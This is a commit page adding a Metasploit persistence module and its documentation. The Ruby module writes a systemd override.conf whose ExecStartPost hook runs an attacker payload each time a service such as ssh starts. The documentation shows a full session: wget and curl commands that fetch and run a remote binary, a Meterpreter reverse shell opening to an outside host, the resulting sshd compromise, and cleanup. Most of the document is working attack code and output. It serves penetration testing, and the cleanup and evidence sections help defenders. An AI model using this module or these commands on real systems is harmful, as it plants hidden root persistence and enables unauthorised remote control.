Skip to content

Commit 79ff667

Browse files
authored
Land #20538, adds systemd override persistence module
persistence: systemd service override
2 parents 95bc7a4 + 00f902b commit 79ff667

File tree

2 files changed

+315
-0
lines changed

2 files changed

+315
-0
lines changed
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
## Vulnerable Application
2+
3+
This module will create an override.conf file for a SystemD service on the box.
4+
The ExecStartPost hook is used to launch the payload after the service is started.
5+
We need enough access (typically root) to write in the /etc/systemd/system
6+
directory and potentially restart services.
7+
8+
Verified on Ubuntu 22.04
9+
10+
11+
## Verification Steps
12+
13+
1. Exploit a box and get a shell
14+
2. `use exploit/linux/persistence/init_systemd_override`
15+
3. `set SESSION <id>`
16+
4. `exploit`
17+
18+
## Options
19+
20+
### SERVICE
21+
22+
Which service to override. Defaults to `ssh`.
23+
24+
### ReloadService
25+
26+
If set to `true` (default), runs `systemctl restart` to restart the service.
27+
28+
## Scenarios
29+
30+
### Ubuntu 22.04
31+
32+
Initial (root) access
33+
34+
```
35+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
36+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
37+
verbose => true
38+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
39+
lhost => 1.1.1.1
40+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
41+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
42+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
43+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
44+
resource (/root/.msf4/msfconsole.rc)> set target 7
45+
target => 7
46+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
47+
srvport => 8082
48+
resource (/root/.msf4/msfconsole.rc)> set uripath l
49+
uripath => l
50+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
51+
payload => linux/x64/meterpreter/reverse_tcp
52+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
53+
lport => 4446
54+
resource (/root/.msf4/msfconsole.rc)> run
55+
[*] Exploit running as background job 0.
56+
[*] Exploit completed, but no session was created.
57+
[*] Started reverse TCP handler on 1.1.1.1:4446
58+
[*] Using URL: http://1.1.1.1:8082/l
59+
[*] Server started.
60+
[*] Run the following command on the target machine:
61+
wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown
62+
msf exploit(multi/script/web_delivery) >
63+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
64+
[*] Transmitting intermediate stager...(126 bytes)
65+
[*] Sending stage (3090404 bytes) to 2.2.2.2
66+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400
67+
68+
msf exploit(multi/script/web_delivery) > sessions -i 1
69+
[*] Starting interaction with 1...
70+
71+
meterpreter > sysinfo
72+
Computer : 2.2.2.2
73+
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
74+
Architecture : x64
75+
BuildTuple : x86_64-linux-musl
76+
Meterpreter : x64/linux
77+
meterpreter > getuid
78+
Server username: root
79+
meterpreter > background
80+
[*] Backgrounding session 1...
81+
```
82+
83+
Persistence (utilizing a manual restart)
84+
85+
```
86+
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override
87+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
88+
msf exploit(linux/persistence/init_systemd_override) > set session 1
89+
session => 1
90+
msf exploit(linux/persistence/init_systemd_override) > set ReloadService false
91+
ReloadService => false
92+
msf exploit(linux/persistence/init_systemd_override) > exploit
93+
[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy&
94+
[*] Exploit running as background job 1.
95+
[*] Exploit completed, but no session was created.
96+
97+
[*] Fetch handler listening on 1.1.1.1:8080
98+
[*] HTTP server started
99+
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
100+
[*] Started reverse TCP handler on 1.1.1.1:4444
101+
msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable)
102+
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
103+
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
104+
[*] Creating /etc/systemd/system/ssh.service.d
105+
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
106+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
107+
108+
msf exploit(linux/persistence/init_systemd_override) > sessions -i 1
109+
[*] Starting interaction with 1...
110+
111+
meterpreter > shell
112+
Process 2862 created.
113+
Channel 6 created.
114+
systemctl restart ssh
115+
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
116+
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
117+
[*] Transmitting intermediate stager...(126 bytes)
118+
[*] Sending stage (3090404 bytes) to 2.2.2.2
119+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400
120+
121+
```
122+
123+
Evidence of compromise in systemctl
124+
125+
```
126+
systemctl status ssh
127+
* ssh.service - OpenBSD Secure Shell server
128+
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
129+
Drop-In: /etc/systemd/system/ssh.service.d
130+
`-override.conf
131+
Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago
132+
Docs: man:sshd(8)
133+
man:sshd_config(5)
134+
Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
135+
Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS)
136+
Main PID: 2866 (sshd)
137+
Tasks: 2 (limit: 3444)
138+
Memory: 5.7M
139+
CPU: 125ms
140+
CGroup: /system.slice/ssh.service
141+
|-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
142+
`-2870 ./vYKBsdwwFTy
143+
144+
Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server...
145+
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22.
146+
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22.
147+
Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server.
148+
```
149+
150+
Cleanup
151+
152+
```
153+
meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
154+
[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives.
155+
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf
156+
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload"
157+
Process 2914 created.
158+
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service"
159+
Process 2915 created.
160+
```
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::EXE # for generate_payload_exe
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Service SystemD override.conf Persistence',
21+
'Description' => %q{
22+
This module will create an override.conf file for a SystemD service on the box.
23+
The ExecStartPost hook is used to launch the payload after the service is started.
24+
We need enough access (typically root) to write in the /etc/systemd/system
25+
directory and potentially restart services.
26+
Verified on Ubuntu 22.04
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'h00die',
31+
],
32+
'Platform' => ['unix', 'linux'],
33+
'Privileged' => true,
34+
'Targets' => [
35+
['systemd', {}],
36+
['systemd user', {}]
37+
],
38+
'DefaultTarget' => 0,
39+
'Arch' => [
40+
ARCH_CMD,
41+
ARCH_X86,
42+
ARCH_X64,
43+
ARCH_ARMLE,
44+
ARCH_AARCH64,
45+
ARCH_PPC,
46+
ARCH_MIPSLE,
47+
ARCH_MIPSBE
48+
],
49+
'References' => [
50+
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
51+
['URL', 'https://askubuntu.com/a/659268'],
52+
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
53+
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
54+
],
55+
'SessionTypes' => ['shell', 'meterpreter'],
56+
'Notes' => {
57+
'Stability' => [CRASH_SAFE],
58+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
59+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
60+
},
61+
'DisclosureDate' => '2010-03-30' # systemd release date
62+
)
63+
)
64+
65+
register_options(
66+
[
67+
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
68+
]
69+
)
70+
register_advanced_options(
71+
[
72+
OptBool.new('ReloadService', [true, 'Reload the service', true])
73+
]
74+
)
75+
end
76+
77+
def check
78+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
79+
80+
root_dir = '/lib/systemd/system/'
81+
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
82+
83+
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
84+
85+
service_root_dir = '/etc/systemd/system/'
86+
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
87+
override_conf = "#{service_dir}/override.conf"
88+
89+
if directory?(service_dir)
90+
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
91+
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
92+
else
93+
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
94+
end
95+
96+
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
97+
end
98+
99+
def install_persistence
100+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
101+
102+
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
103+
override_conf = "#{service_dir}/override.conf"
104+
105+
unless exists?(service_dir)
106+
vprint_status("Creating #{service_dir}")
107+
create_process('mkdir', args: ['-p', service_dir])
108+
end
109+
110+
if exists?(override_conf)
111+
conf = read_file(override_conf)
112+
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
113+
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
114+
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
115+
else
116+
@clean_up_rc << "rm #{override_conf}\n"
117+
end
118+
119+
if payload.arch.first == 'cmd'
120+
p_load = payload.encoded
121+
p_load = ' &' unless p_load.end_with?('&')
122+
contents = <<~OVERRIDE
123+
[Service]
124+
ExecStartPost=/bin/sh -c '#{p_load}'
125+
OVERRIDE
126+
else
127+
payload_path = writable_dir
128+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
129+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
130+
payload_path << payload_name
131+
print_status("Uploading payload file to #{payload_path}")
132+
upload_and_chmodx payload_path, generate_payload_exe
133+
contents = <<~OVERRIDE
134+
[Service]
135+
ExecStartPost=/bin/sh -c '#{payload_path} &'
136+
OVERRIDE
137+
end
138+
139+
vprint_status("Writing override file to: #{override_conf}")
140+
write_file(override_conf, contents)
141+
142+
# This was taken from pam_systemd(8)
143+
systemd_socket_id = cmd_exec('id -u')
144+
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
145+
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
146+
147+
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
148+
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
149+
150+
if datastore['ReloadService']
151+
vprint_status("Reloading #{datastore['SERVICE']} service")
152+
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
153+
end
154+
end
155+
end

0 commit comments

Comments
 (0)